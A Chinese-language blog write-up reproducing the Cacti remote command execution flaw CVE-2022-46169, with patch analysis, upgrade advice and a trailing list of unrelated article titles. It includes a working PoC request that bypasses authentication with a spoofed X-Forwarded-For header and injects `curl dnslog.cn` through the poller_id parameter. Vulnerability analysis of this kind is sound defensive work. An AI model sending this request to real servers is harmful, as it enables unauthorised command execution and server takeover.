当前位置: 首页 > news >正文

漏洞复现-Cacti命令执行漏洞 (CVE-2022-46169)

1.漏洞描述

Cacti是一套基于PHP,MySQL,SNMP及RRDTool开发的网络流量监测图形分析工具,可为用户提供强大且可扩展的操作监控和故障管理框架。
该漏洞存在于remote_agent.php文件中,未经身份验证的恶意攻击者可以通过设置HTTP_变量绕过身份验证,再通过构造特殊的$poller_id 参数来触发proc_open() 函数,成功利用此漏洞可在目标服务器上执行任意命令,获取服务器的控制权限。

2.影响版本

Cacti < 1.2.23

3.影响范围 

4.漏洞分析

我们先看补丁
https://github.com/Cacti/cacti/commit/7f0e16312dd5ce20f93744ef8b9c3b0f1ece2216
漏洞点主要存在于lib/functions.php、remote_agent.php
分为登录绕过和命令注入

登录绕过

我们先跟进 get_client_addr看看
函数的作用是从 X-Forwarded-For等参数中获取值,filter_var 进行过滤,正确的地址就可以返回,X-Forwarded-For 参数可控,可以对其进行修改 
接下来看remote_client_authorized函数的下半部分
gethostbyaddr 对 client_addr 获取网络主机名,当 $client_name 与 $client_addr 不同时, 进入remote_agent_strip_domain 函数
函数就是截取点号前面的值 大多数情况下,我们传进去的值为 127.0.0.1 时,就会返回 true 了 因此我们可以通过修改 X-Forwarded-For 来绕过这里的认证

命令注入

我们先看一下修复记录
跟进get_nfilter_request_var函数
函数的作用是直接获取参数,没用过滤
这里的 $local_data_ids也是传进来的值,可控。

接下来我们关注这里的 $items ,是从数据库的 poller_item 表中取出来的,默认为空。

接下来当 $items 有了数据并且他的成员中有一个 item 也是一个数组并且键为 action,值为 2 时,即可进入命令注入的漏洞所在

在385 行有 proc_open可以命令执行。
Poc:
GET /remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`curl+dnslog.cn` HTTP/1.1
X-Forwarded-For: 127.0.0.1
Host: localhost.lan
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

5.修复建议

官方已经提供修复的版本,直接 github 下载即可
https://github.com/Cacti/cacti

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 牛客入门刷题
  • Java设计模式七大原则
  • 开启仓颉编程
  • 网络编程:Posix API
  • windows C++-并发和异步操作(上)
  • 国标非对称加密:RSA算法、非对称特征、js还原、jsencrypt和rsa模块解析
  • 汇量科技Mintegral发布全新产品矩阵:助力广告主高效增长与变现
  • go-zero中基本配置及获取参数
  • django.core.management.base.SystemCheckError
  • 阿布吞的基础使用——Ubuntu
  • 格式化字符串漏洞
  • 基于Qt的osg读取模型进度回调
  • 数据结构:栈(含源码)
  • [QNX] C++编程: 外部硬件加速器与SOC共享内存中使用NOCACHE的必要性与优化策略
  • jQuery实现图片轮播效果
  • 实现windows 窗体的自己画,网上摘抄的,学习了
  • CentOS学习笔记 - 12. Nginx搭建Centos7.5远程repo
  • JavaScript-Array类型
  • Java多态
  • VUE es6技巧写法(持续更新中~~~)
  • vue的全局变量和全局拦截请求器
  • WebSocket使用
  • 安装python包到指定虚拟环境
  • 编写符合Python风格的对象
  • 从零开始的webpack生活-0x009:FilesLoader装载文件
  • 七牛云假注销小指南
  • 如何借助 NoSQL 提高 JPA 应用性能
  • 入手阿里云新服务器的部署NODE
  • 入职第二天:使用koa搭建node server是种怎样的体验
  • 曜石科技宣布获得千万级天使轮投资,全方面布局电竞产业链 ...
  • ​​​​​​​STM32通过SPI硬件读写W25Q64
  • ​软考-高级-系统架构设计师教程(清华第2版)【第20章 系统架构设计师论文写作要点(P717~728)-思维导图】​
  • ​中南建设2022年半年报“韧”字当头,经营性现金流持续为正​
  • (30)数组元素和与数字和的绝对差
  • (9)YOLO-Pose:使用对象关键点相似性损失增强多人姿态估计的增强版YOLO
  • (C语言)二分查找 超详细
  • (C语言)球球大作战
  • (附源码)php新闻发布平台 毕业设计 141646
  • (附源码)spring boot基于小程序酒店疫情系统 毕业设计 091931
  • (附源码)springboot课程在线考试系统 毕业设计 655127
  • (黑客游戏)HackTheGame1.21 过关攻略
  • (七)c52学习之旅-中断
  • (一)appium-desktop定位元素原理
  • (转)ObjectiveC 深浅拷贝学习
  • (转载)CentOS查看系统信息|CentOS查看命令
  • *2 echo、printf、mkdir命令的应用
  • .form文件_一篇文章学会文件上传
  • .net CHARTING图表控件下载地址
  • .Net Core和.Net Standard直观理解
  • .net core使用ef 6
  • .net 调用海康SDK以及常见的坑解释
  • .NET 中 GetProcess 相关方法的性能
  • .NET/C#⾯试题汇总系列:⾯向对象
  • .net企业级架构实战之7——Spring.net整合Asp.net mvc
  • :O)修改linux硬件时间